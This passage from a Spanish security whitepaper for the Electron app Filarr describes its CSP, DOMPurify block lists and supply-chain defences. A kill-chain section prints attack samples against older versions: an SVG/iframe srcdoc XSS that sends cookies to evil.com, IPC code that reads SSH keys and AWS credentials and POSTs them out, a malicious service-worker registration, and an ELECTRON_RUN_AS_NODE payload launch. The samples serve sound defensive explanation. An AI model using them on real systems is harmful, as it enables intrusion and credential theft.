Dos concesiones de esta configuración merecen documentarse porque contravienen el principio de «bloquearlo todo por defecto». Primero, 'unsafe-inline' en style-src lo exigen los atributos style en línea de React: React genera CSS en línea para sus componentes, y pasar a una solución basada en nonces rompería toda la cadena de renderizado. Esta concesión queda mitigada por la combinación contextIsolation + sandbox + DOMPurify: aunque un atacante inyecte CSS malicioso, no puede ejecutar JavaScript por esa vía. Después, script-src autoriza cdnjs.cloudflare.com además de 'self' porque KaTeX y Mermaid se cargan desde cdnjs para reducir el tamaño del paquete. Podríamos empaquetarlo todo en local (y está en la hoja de ruta), pero el compromiso actual es aceptar un único dominio de terceros de confianza a cambio de un paquete 500 KB más ligero.
La cabecera object-src 'none' elimina toda la superficie de ataque de los plugins heredados (Flash, ActiveX, Java Applet), que ninguna app moderna debería permitir. La cabecera frame-ancestors 'none' impide que un sitio externo inserte Filarr en un iframe, lo que bloquea los ataques de clickjacking.
10. Saneamiento contra XSS
Todo el HTML que acaba insertado en el DOM del renderer pasa por DOMPurify 3.4.0+, la referencia de código abierto en este campo, mantenida por Cure53. La configuración defensiva se amplió en la v2.2.1 a raíz de la auditoría de seguridad:
DOMPurify.sanitize(html, {
ADD_ATTR: ['target', 'rel'],
FORBID_TAGS: [
'style', 'form', 'input', 'textarea', 'select',
'iframe', 'object', 'embed',
'svg', 'math', 'foreignObject', 'annotation-xml',
'base', 'meta', 'link',
],
FORBID_ATTR: ['style', 'srcdoc', 'formaction', 'ping'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|...)/i,
});
¿Por qué prohibir <svg>, si el SVG parece a priori inofensivo como formato de imagen? Porque el SVG es un caballo de Troya clásico para burlar saneadores ingenuos. La etiqueta <foreignObject> dentro de un SVG permite incrustar HTML arbitrario, incluido un <iframe> con atributo srcdoc, un <script> o handlers de eventos como onclick. Un saneador que bloquee <iframe> pero permita <svg> dejaría pasar esto:
<svg>
<foreignObject>
<iframe srcdoc="<script>fetch('/api/exfil?cookie='+document.cookie)</script>">
</iframe>
</foreignObject>
</svg>
Históricamente, el propio DOMPurify ha tenido varias CVE relacionadas con SVG y MathML (la versión 3.0 de MathML está llena de sorpresas similares). La versión 3.4.0 corrige todos los bypass conocidos, pero la lista de bloqueo defensiva como complemento sigue siendo un cinturón con tirantes: si mañana se descubre un bypass nuevo en una versión 3.5, nuestra lista sigue bloqueando el vector.
Los atributos prohibidos srcdoc, formaction y ping son vectores de ataque menos conocidos, pero muy reales. srcdoc permite ejecutar HTML en línea en un iframe, eludiendo las restricciones de la CSP dirigidas al atributo src. formaction permite que un botón de formulario redirija el envío a una URL distinta de la que indica el <form>, lo que deja a un atacante exfiltrar datos a través de un formulario inocente. ping permite que un enlace <a> envíe un POST silencioso a una URL arbitraria cuando el usuario hace clic: una función pensada para el seguimiento analítico, pero que puede usarse para exfiltrar datos. Bloquear estos tres atributos no cuesta ninguna funcionalidad legítima en el contexto de Filarr.
Además de DOMPurify, Filarr aplica validaciones específicas a ciertos tipos de contenido. Los wikilinks [[Note]] importados de una bóveda de Obsidian se validan para que solo apunten a títulos de notas existentes, y nunca se interpretan como URL. Un atacante que colara [[javascript:alert(1)]] en una bóveda compartida vería su enlace mostrado como texto plano (porque ninguna nota se llama javascript:alert(1)), y no como un enlace clicable con el esquema javascript:. Los diagramas Mermaid se renderizan con la opción securityLevel: 'strict', que desactiva la ejecución de HTML en las etiquetas, los handlers de clic y los scripts en línea generados por el analizador: tres vectores que han tenido CVE históricas en Mermaid.
11. Anatomía de una kill chain
Para entender cómo se encadenan las defensas, nada mejor que un caso concreto. Esto es lo que un atacante decidido podría hacer contra Filarr v2.2.0, y lo que bloquea cada paso en la versión actual v2.3.1. El escenario se inspira en ataques reales contra otras apps de Electron y representa un modelo plausible de cadena de suministro + XSS.
11.1 El escenario
Un atacante publica un «plugin de Obsidian» popular llamado Awesome Tag Cloud v2 en una comunidad donde se comparten bóvedas de Obsidian. El plugin parece legítimo: genera nubes de etiquetas bonitas. Pero su archivo README.md contiene una etiqueta HTML elaborada por el atacante, diseñada para desencadenar una cascada de explotación cuando la bóveda se importa en Filarr con el asistente de importación.
El usuario objetivo descarga esta bóveda trampa, la abre en Filarr y lanza el asistente de importación de Obsidian a Filarr. En el momento en que la nota README se renderiza en el editor, la carga útil se activa.
11.2 Fase 1: acceso inicial (T1189)
En la versión anterior a la v2.2.1, la configuración de DOMPurify no incluía svg ni foreignObject en la lista de bloqueo. La carga útil del atacante podía, por tanto, inyectar un bloque:
<svg><foreignObject>
<iframe srcdoc="<script>fetch('https://evil.com/beacon?u='+encodeURIComponent(document.cookie))</script>"></iframe>
</foreignObject></svg>
DOMPurify lo dejaba pasar (porque <svg> estaba permitido), el iframe se cargaba, su srcdoc ejecutaba el script y la fase 1 tenía éxito: el atacante tenía JavaScript ejecutándose en el contexto del renderer de Filarr.
En la v2.2.1 y posteriores, FORBID_TAGS incluye svg, foreignObject e iframe, y srcdoc está en FORBID_ATTR. DOMPurify elimina el bloque entero antes de insertarlo en el DOM. La carga útil ya no tiene vector de inyección HTML. La fase 1 fracasa.
11.3 Fase 2: escalada de privilegios vía IPC (T1068)
Supongamos que la fase 1 tuviera éxito pese a todo, gracias a un futuro 0-day aún no descubierto en DOMPurify que superara todos los filtros. El atacante tiene ahora JavaScript en el renderer. Su objetivo: exfiltrar tu clave SSH privada para usarla desde su lado.
En la versión anterior a la v2.2.1, al atacante le bastaba con escribir:
const sshKey = await window.electron.ipcRenderer.invoke(
'import:readFile',
'C:\\Users\\Victim\\.ssh\\id_ed25519'
);
const awsCreds = await window.electron.ipcRenderer.invoke(
'import:readDirectory',
'C:\\Users\\Victim\\.aws'
);
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({ sshKey, awsCreds })
});
El proceso principal ejecutaba el IPC sin ninguna validación de la ruta. Se iba la clave SSH, se iban las credenciales de AWS, se iban los .env de todos los proyectos que pudieran abrirse, se iba el historial de .git/config, que podía contener tokens de GitHub. Todo sin un solo aviso de UAC, sin ninguna notificación visible para el usuario, sin ningún registro de alerta, porque el handler IPC trataba la operación como perfectamente legítima.
En la v2.2.1, el handler import:readFile comprueba ahora que la ruta solicitada forma parte de approvedImportPaths, un Set que solo llenan los diálogos nativos showOpenDialog. El atacante, en el renderer, no tiene forma de abrir un diálogo nativo: no hay ningún IPC dialog:open expuesto que se abra sin interfaz de usuario. Su intento de leer id_ed25519 devuelve null, y se registra una advertencia en el proceso principal: [import:readFile] Refused unapproved path: C:\Users\Victim\.ssh\id_ed25519. La fase 2 fracasa.
11.4 Fase 3: persistencia (T1546)
Un atacante sofisticado no se conforma con una exfiltración puntual; quiere sobrevivir a una actualización de seguridad que corrija la vulnerabilidad inicial. El Service Worker es una herramienta ideal para eso: una vez registrado, intercepta todas las peticiones fetch() de la app y puede inyectar su código en cada carga de página, incluso después de que el usuario haya recibido e instalado un parche.
En la versión anterior a la v2.2.1, Filarr heredaba un serviceWorkerRegistration.register() de la plantilla de create-react-app. Un atacante podía registrar su propio SW malicioso:
await navigator.serviceWorker.register('/stolen-sw.js');
Y a partir de ahí, el SW persistía entre sesiones, sobrevivía a las actualizaciones (porque el SW se guarda en el perfil de Chromium de Electron, no en app.asar) y volvía a inyectar su carga útil en cada carga. Neutralizar este tipo de persistencia exigiría que el usuario desinstalara la app por completo y borrara a mano su perfil, una operación que pocos usuarios saben hacer.
La versión v2.2.1 lo corrige de raíz: src/index.js llama explícitamente a serviceWorkerRegistration.unregister() al arrancar y purga todo el Cache Storage con caches.keys().then(keys => Promise.all(keys.map(k => caches.delete(k)))). Si había un SW heredado de la v2.1.x, se da de baja en el primer arranque de la v2.2.1+. El atacante ya no puede establecer persistencia por esta vía.
11.5 Fase 4: mando y control
Un atacante que ha establecido persistencia quiere después mantener un canal de comunicación con su infraestructura de C2 (mando y control). Un enfoque sutil es disfrazar las peticiones de aperturas de enlaces externos, que parecen legítimas: un usuario que hace clic en un enlace de una nota espera que se abra el navegador.
En la versión anterior a la v2.2.1, el IPC open-external estaba protegido por un simple startsWith('https://'). El atacante podía construir una URL como https://filarr.com#javascript:window.open('https://evil.com/c2') que superaba la comprobación, pero cuyo fragmento interpretaban de forma distinta algunas apps nativas asociadas al esquema, lo que podía abrir una superficie de ataque.
La versión v2.2.1 usa un new URL(url) estricto que analiza la URL completa y rechaza cualquier protocolo distinto de http: / https:, los caracteres de control ASCII y las URL excesivamente largas (más de 8 KB, umbral a partir del cual la mayoría de los analizadores de los sistemas operativos tienen errores explotables). La misma validación se aplica a las URL que devuelve el backend para los pagos de Stripe, como defensa en profundidad frente a un backend comprometido que intentara colar una URL javascript:.
11.6 Fase 5: abuso de privilegios nativos
Último escenario: supongamos un atacante que ya tiene acceso local de nivel de usuario al equipo (sin XSS), quizá a través de un troyano descargado en otro sitio. Quiere usar el binario firmado de Filarr como intermediario para ejecutar su código y escapar de las detecciones heurísticas.
ELECTRON_RUN_AS_NODE=1 "C:\Program Files\Filarr\Filarr.exe" ./payload.js
Antes de la v2.2.2, no se aplicaban todos los fuses (y antes aún, ninguno). Esta línea de comandos convertía Filarr en un entorno Node.js y ejecutaba payload.js con los privilegios del usuario. Desde el punto de vista del sistema (y del EDR), es Filarr haciendo una operación de red, no un ejecutable sospechoso, así que es menos probable que el código se bloquee.
En la v2.2.2+, el fuse RunAsNode: false está fijado en el binario. La variable de entorno ELECTRON_RUN_AS_NODE se ignora por completo. Lo mismo ocurre con NODE_OPTIONS, --inspect y --inspect-brk. El atacante ya no puede secuestrar el binario como intermediario.
11.7 El resultado global
Para comprometer a un usuario de Filarr v2.3.1 con el escenario descrito, el atacante necesitaría a la vez: un 0-day en DOMPurify 3.4+ (ninguno público en 2026) para inyectar JS, un 0-day en Electron 41 (con los parches al día) para escapar del sandbox de Chromium, un fallo en un handler IPC concreto (cada handler validado por la auditoría) y un método de persistencia que eluda el SW, las variables de entorno y el parcheo del ASAR. Es una cadena de cinco eslabones, cada uno de los cuales exige una vulnerabilidad 0-day independiente. Ese es precisamente el objetivo de la defensa en profundidad: apilar suficientes capas independientes para que ninguna brecha aislada comprometa el conjunto.
12. Cadena de suministro
Los ataques a la cadena de suministro de npm se han convertido en la norma en los últimos años. Es instructivo repasar los principales incidentes para entender qué forma adoptan estos ataques en la práctica y qué hace Filarr para reducir su exposición.
El incidente de event-stream de 2018 es emblemático. El mantenedor histórico del paquete, Dominic Tarr, aceptó incorporar a un colaborador que se ofreció a ayudar con el mantenimiento. Ese colaborador acabó siendo el mantenedor principal cuando Tarr se desvinculó, y publicó entonces una versión con código malicioso dirigido específicamente al monedero copay-dash que usaba Copay, una aplicación de monedero de Bitcoin. El malware robaba las claves privadas y el saldo de los monederos que lo usaban. El paquete event-stream tenía entonces unos 2 millones de descargas por semana: prácticamente todos los proyectos de Node.js lo usaban de forma transitiva. El análisis posterior de Dominic Tarr es una lectura esclarecedora sobre las dinámicas del mantenimiento de código abierto y los riesgos de la hospitalidad por defecto.
El incidente de ua-parser-js de 2021 fue más directo: la cuenta de npm del mantenedor se comprometió mediante credential stuffing (reutilización de una contraseña de otra filtración), y se publicaron tres versiones maliciosas en pocas horas. Contenían un minero de criptomonedas XMRig y un ladrón de credenciales dirigido a las variables de entorno que contenían tokens. El paquete tenía 7 millones de descargas por semana. La recuperación llevó varios días de coordinación entre GitHub, npm y el mantenedor, que tuvo que recuperar el control de su cuenta y publicar versiones limpias. El aviso de seguridad detalla la cronología.
El incidente de node-ipc de 2022 introdujo un concepto nuevo: el «protestware». El mantenedor, RIAEvangelist, añadió voluntariamente en una actualización código que sobrescribía archivos en los equipos cuya IP estaba geolocalizada en Rusia o Bielorrusia, en protesta por la invasión de Ucrania. El paquete lo usaban Vue.js y otros proyectos importantes. Más allá del debate ético sobre la legitimidad del gesto, el incidente recordó que cualquier mantenedor malintencionado tiene la capacidad técnica de introducir cualquier código en cualquier dependencia, y que la comunidad de código abierto no tiene ningún mecanismo sistémico para impedirlo. Análisis detallado de Snyk.
Y también en 2022, colors.js y faker.js: el mantenedor Marak Squires publicó versiones que imprimían «LIBERTY LIBERTY LIBERTY» en un bucle infinito, en protesta por tener que mantener sin cobrar un proyecto de código abierto usado por multinacionales. No era exactamente malware, sino una denegación de servicio autoinfligida, y rompió miles de aplicaciones en producción durante varias horas. Artículo de BleepingComputer.
Ante esta realidad, Filarr adopta varias estrategias para reducir el riesgo, sin poder presumir de inmunidad. La primera es la auditoría trimestral con npm audit --audit-level=high, que bloquea automáticamente la integración continua si aparece una vulnerabilidad nueva alta o crítica. Esta disciplina llevó a las actualizaciones importantes documentadas en el registro de cambios: jspdf (XSS crítico), axios (SSRF + DoS), dompurify (bypass del saneador), electron (18 CVE).
La segunda estrategia es la CSP estricta, que limita lo que puede hacer una dependencia comprometida en tiempo de ejecución. Aunque un paquete como @tiptap/extension-foo publicara mañana una versión que intentara cargar código desde evil.com, script-src 'self' + cdnjs bloquearía la petición. No protege contra el código inyectado estáticamente (que forma parte del paquete), pero es una línea de defensa contra las cargas útiles que intentan exfiltrar por la red.
La tercera es la validación de la integridad del binario mediante los fuses de Electron. EnableEmbeddedAsarIntegrityValidation: true detecta cualquier modificación de app.asar posterior a la firma. Un atacante que hubiera conseguido parchear el binario en disco (ya sea por una vulnerabilidad local o por una dependencia que escriba en el directorio de instalación) fracasa en el siguiente arranque. OnlyLoadAppFromAsar: true también se niega a cargar desde una carpeta app/ junto al binario, un vector de persistencia clásico en el que el malware deja una carpeta con código modificado que tendría prioridad sobre el ASAR.
La cuarta estrategia es, sencillamente, un número limitado de dependencias: evitamos los paquetes con miles de dependencias transitivas. Cuando añadimos una dependencia nueva, leo el código (al menos su punto de entrada y el principio del archivo principal) antes de integrarla. Es una medida artesanal que no escala, pero que marca la diferencia a pequeña escala.
El límite honesto, que hay que reconocer, es que ninguna de estas defensas protege por completo contra una dependencia transitiva comprometida con una carga útil que se ejecute en el renderer. Si @tiptap/extension-foo se viera comprometido mañana e inyectara JS en tiempo de ejecución, la CSP bloquearía la comunicación externa, pero no la ejecución local ni el uso de los IPC expuestos (que están validados, pero una carga útil ingeniosa podría combinar varios handlers para lograr su objetivo). La respuesta sólida a largo plazo exige compilaciones reproducibles (cuya salida determinista permite a cualquiera verificar que el binario final corresponde al código fuente publicado), auditorías regulares y profundas y un renderer con el menor alcance posible. Está en la hoja de ruta de las próximas versiones.
13. Historial de CVE
A 18 de abril de 2026, en la versión 2.3.1, el estado de la superficie de ataque es el siguiente: cero vulnerabilidades críticas detectadas por npm audit, cero vulnerabilidades altas en las dependencias de ejecución directas y 47 vulnerabilidades transitivas, todas confinadas a react-scripts. Este último punto merece una aclaración: react-scripts es la caja de herramientas de compilación de Create React App (webpack, babel-loader, jest, postcss, etc.), que solo se usa al compilar el renderer. Las vulnerabilidades que arrastra (sobre todo versiones antiguas de webpack-dev-server y svgo) no afectan al tiempo de ejecución de la aplicación empaquetada: están en la cadena de compilación del desarrollador. Las vigilamos y las documentamos, pero no las consideramos riesgos en producción.
La limpieza reciente de la superficie de ataque se hizo en cuatro grandes etapas, documentadas aquí con las referencias GHSA cuando procede:
| Versión | Actualización | CVE principal corregida |
|---|---|---|
| v2.2.0 | jspdf 4.2.0 → 4.2.1 | GHSA-wfv2-pwc8-crg5: XSS crítico CVSS 9.6 (inyección de HTML en una ventana nueva) |
| v2.2.0 | axios 1.7.7 → 1.15.0 | DoS mediante __proto__ en mergeConfig (GHSA-wf5p-g6vw-rhxx), SSRF mediante NO_PROXY, exfiltración de metadatos de la nube por inyección de cabeceras |
| v2.2.0 | dompurify 3.3.1 → 3.4.0 | 5 bypass del saneador (mutation-XSS, bypass de FORBID_TAGS con ADD_ATTR/ADD_TAGS, contaminación de prototipos mediante USE_PROFILES, bypass de URI) |
| v2.3.0 | electron 39 → 41 | 18 CVE de Electron: bypass del aislamiento de contexto mediante VideoFrame en contextBridge, varios use-after-free en offscreen paint / diálogo de descarga / PowerMonitor, inyección de rutas en setAsDefaultProtocolClient (Windows), suplantación de dispositivos USB, inyección de opciones de línea de comandos en el renderer, ruta de ejecutable sin comillas en setLoginItemSettings (Windows), inyección de cabeceras en los handlers de protocolos personalizados, y más |
| v2.3.0 | electron-builder 24 → 26 | Exigido por Electron 41 |
A estas actualizaciones de dependencias se suman los 8 parches internos de la v2.2.1 documentados en otro lugar: path traversal en IPC, bomba ZIP, UUID con Math.random, service worker desactivado, ataque de tiempo en la comparación de hashes, comprobación estricta del protocolo de las URL, FORBID_TAGS de DOMPurify ampliado y safeStorage que falla cerrado. Cada uno de estos parches se identificó durante la auditoría completa posterior a la v2.2.0 y se corrigió en la semana siguiente.
14. Comparación con otras herramientas
Para situar a Filarr frente a las herramientas con las que puede compararse en el ecosistema de la productividad cifrada, esta es una tabla de síntesis de las decisiones criptográficas y de arquitectura de cada una:
| Aspecto | Filarr | Signal | 1Password | Bitwarden | Obsidian | Notion |
|---|---|---|---|---|---|---|
| Almacenamiento zero-knowledge | ✅ | ✅ | ✅ | ✅ | N/A (solo local) | ❌ (los servidores lo leen todo) |
| Cifrado de archivos | AES-256-GCM | AES-256-CTR + HMAC-SHA256 | AES-256-GCM | AES-256-CBC + HMAC-SHA256 | ❌ (en claro) | ❌ (en claro en el servidor) |
| KDF | PBKDF2-SHA-512 (KEK), Argon2id para otros secretos | N/A (sin contraseña) | PBKDF2-SHA-256 + Secret Key | PBKDF2 → Argon2id (progresivo) | N/A | Bcrypt en el servidor |
| Multidispositivo | ECDH + HKDF | Double Ratchet | Sincronización de la Secret Key de 1Password | Contraseña + clave del dispositivo | Sincronización de terceros (iCloud, Obsidian Sync de pago) | Sincronización nativa en la nube (sin E2E) |
| Local-first | ✅ | ❌ (servidores para las notificaciones) | ❌ (bóveda cifrada en el servidor) | Parcial | ✅ | ❌ |
| Código abierto | Source available (cliente de escritorio, BSL 1.1) | ✅ (servidor + clientes) | ❌ | ✅ | ❌ (solo el ecosistema de plugins) | ❌ |
| Auditoría externa | Prevista | Trail of Bits, NCC, académicas | Cure53 (2021, 2023) | Cure53 (2020, 2022), Insight Risk | ❌ | Externa (no pública) |
| Autenticación de dos factores (2FA) | ✅ TOTP + 8 códigos de respaldo | ✅ Registration Lock (PIN) | ✅ TOTP, FIDO2 | ✅ TOTP, FIDO2, YubiKey | ✅ (Obsidian Sync) | ✅ TOTP, WebAuthn |
Filarr se sitúa en un hueco concreto del mercado: entre Obsidian, una excelente herramienta local-first que no cifra nada por defecto y depende de plugins de terceros para el cifrado, y Bitwarden, ejemplar en zero-knowledge pero dedicado exclusivamente a las contraseñas. Ninguna otra herramienta combina zero-knowledge, local-first y un espacio de trabajo completo (notas + archivos + grafo + lienzo). Ese nicho fue la razón para crear Filarr en lugar de apoyarse en una herramienta existente.
Las diferencias en las decisiones técnicas se explican, en general, por casos de uso distintos. Signal no tiene contraseña de usuario porque es una app de mensajería cuya instalación local debe ser rápida y sin fricción: todo se deriva del PIN + Secure Value Recovery, un protocolo sofisticado que guarda en el servidor una versión cifrada de una clave maestra que solo el PIN correcto descifra. 1Password tiene la Secret Key, una clave de 256 bits que el usuario guarda fuera del servidor (normalmente en un código QR impreso) y que se combina con la contraseña para duplicar la seguridad. Estudiamos este modelo para Filarr, pero el deterioro de la experiencia de uso (manejar un archivo adicional en cada dispositivo nuevo) se consideró incompatible con el público general al que se dirige la herramienta: los usuarios que olvidan con frecuencia su contraseña olvidarían también su Secret Key, y el coste del soporte superaría la ganancia de seguridad para los usuarios a los que nos dirigimos. Bitwarden usa AES-CBC + HMAC-SHA256, una construcción de cifrado autenticado válida, pero más lenta que GCM e históricamente más propensa a errores de implementación (padding oracle, MAC ausente); su migración a Argon2id está en curso. Obsidian no cifra nada por defecto porque su filosofía es la máxima portabilidad de las notas (Markdown en texto plano); existen plugins de terceros como Meld Encrypt, pero entonces la seguridad depende de la calidad del plugin. Notion guarda todo en claro en el servidor, y su política de privacidad autoriza explícitamente el acceso de sus empleados a los datos para dar «soporte», lo que lo sitúa en otra categoría: herramientas de colaboración centralizadas, no bóvedas personales privadas.
15. Hoja de ruta de seguridad
Lo que todavía no tenemos, con honestidad: se está preparando una auditoría de seguridad externa independiente con una empresa concreta (Cure53 o Trail of Bits, según disponibilidad y presupuesto). El presupuesto estimado está entre 15 000 € y 30 000 € según el alcance; daremos prioridad a una cobertura amplia antes que a una profundidad extrema sobre un solo componente. El informe final se hará completamente público, incluidos los hallazgos que nos parezcan embarazosos, porque la transparencia es la única forma de convertir una auditoría en más confianza de los usuarios.
La firma Authenticode para Windows requiere un certificado EV (Extended Validation) que cuesta unos 400 € al año y exige una verificación KYC por parte de una autoridad de certificación. Está en curso, pero dimos prioridad primero al endurecimiento en tiempo de ejecución. Sin la firma EV, SmartScreen muestra una advertencia en el primer arranque que los usuarios tienen que aceptar: es poco elegante, pero no bloquea. La notarización de Apple para macOS sigue un camino similar: la inscripción en el Developer Program está hecha y la automatización en la integración continua, en curso.
Las compilaciones reproducibles exigen un entorno de compilación determinista en el que las fechas de compilación sean fijas, el orden de los archivos sea estable y todas las entradas estén bajo control de versiones. Es un estudio para la v2.4; el principal obstáculo es que algunas dependencias (sobre todo los prebuilds nativos de argon2) incluyen metadatos de compilación variables.
El cifrado poscuántico con CRYSTALS-Kyber (estandarizado en 2024 como ML-KEM por el NIST en FIPS 203) está en la lista de ideas para el emparejamiento y, quizá, para los blobs de larga duración. El enfoque sería híbrido (clásico + poscuántico combinados), como hizo Signal con PQXDH en 2023 y WireGuard desde su versión 1.x. El modo híbrido permite no apostarlo todo a Kyber (que ha sido parcialmente criptoanalizado hace poco) y ganar a la vez resistencia frente a un atacante que guarde el tráfico hoy para descifrarlo mañana con un ordenador cuántico.
Hay previsto un programa oficial de recompensas por errores (bug bounty) después de la auditoría externa: queremos pagar primero por los hallazgos «fáciles» (los que encontrará una auditoría sistemática) antes de abrir un programa que los pagaría a precio público. Una vez limpia la base, el programa tiene más sentido.
Por último, el protocolo propio app:// para sustituir a file:// en producción permitirá cerrar definitivamente el fuse GrantFileProtocolExtraPrivileges y endurecer bastante la CSP (ahora mismo, default-src 'self' sobre file:// tiene una semántica difusa; con un app:// propio es limpia y estricta). El trabajo exige migrar la carga del paquete de React, las fuentes, los workers de pdf.js, las imágenes y las traducciones, y probar toda la cadena de vistas previas. Hay que contar entre una y dos semanas de trabajo más pruebas intensivas.
Todo esto está documentado públicamente en la hoja de ruta, no escondido.
16. Resumen
Si solo tuvieras que quedarte con cinco afirmaciones de este artículo: tu contenido se cifra con AES-256-GCM con una clave aleatoria que solo tu contraseña (mediante PBKDF2-SHA-512, 600 000 iteraciones) o tu frase de recuperación pueden desenvolver, y esa clave nunca sale de tu equipo en claro. Los servidores de Filarr solo guardan blobs opacos que no pueden leer: ni una solicitud de una autoridad ni una copia robada de sus datos producen nada legible; su único resquicio, hasta que termine la transición del inicio de sesión, es la contraseña de una cuenta que todavía la envía, que un servidor comprometido podría capturar. El emparejamiento multidispositivo usa ECDH P-256 y HKDF-SHA-256 con un separador de dominio, más un secreto que viaja en el código QR o una verificación de seis dígitos, de modo que la FEK se intercambia de extremo a extremo sin que el servidor pueda reconstruirla. El binario de Electron está endurecido contra todos los abusos conocidos: 8 fuses explícitos con strictlyRequireAllFuses, contextIsolation, sandbox de Chromium, CSP estricta, lista de IPC permitidos, DOMPurify defensivo y protección contra SSRF. Las dependencias se auditan en cada versión, con un balance a 18 de abril de 2026 de cero vulnerabilidades críticas o altas en tiempo de ejecución, tras 8 correcciones internas en la v2.2.1 y 18 CVE de Electron corregidas en la v2.3.0.
Filarr no pretende ser perfecto. Pretende ser explícito: cada decisión está documentada con sus parámetros exactos, cada compromiso está declarado y cada CVE corregida está fechada y referenciada. Te toca a ti juzgar si esta arquitectura se ajusta a tu modelo de amenazas: si es así, puedes descargar la app, crear tu primer perfil y cifrar tu primer archivo en unos minutos. Si no te convence, escribe a contact@filarr.com con el prefijo [Security] en el asunto para contarnos qué falta. Respuesta en 48 horas laborables, y ninguna acción legal contra los investigadores de vulnerabilidades que actúen de buena fe (safe harbor).
17. Referencias y lecturas complementarias
Estándares y especificaciones
- NIST SP 800-38D: Recommendation for Block Cipher Modes of Operation: GCM and GMAC
- NIST SP 800-56C Rev.2: Recommendation for Key-Derivation Methods in Key-Establishment Schemes
- RFC 5869: HMAC-based Extract-and-Expand Key Derivation Function (HKDF)
- RFC 8446: The Transport Layer Security (TLS) Protocol Version 1.3
- RFC 9106: Argon2 Memory-Hard Function for Password Hashing and Proof-of-Work Applications
- FIPS 203 (ML-KEM): Module-Lattice-based Key-Encapsulation Mechanism
OWASP
Electron y Chromium
Ataques e investigación
- Böck, Zauner, Devlin: Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in TLS (2016), el Forbidden Attack
- Bellare y Namprempre: Authenticated Encryption: Relations among Notions and Analysis of the Generic Composition Paradigm (2008)
- MITRE ATT&CK: Enterprise Matrix
- Password Hashing Competition: PHC
Comparables e inspiraciones
- Signal: Technical Documentation
- 1Password: 1Password Security Design White Paper
- Bitwarden: Security Whitepaper
- ProtonMail: Security Features
- Tresorit: Encryption Whitepaper
Mathis Belouar-Pruvot Creador de Filarr: filarr.com Última revisión: 18 de abril de 2026 (v2.3.1)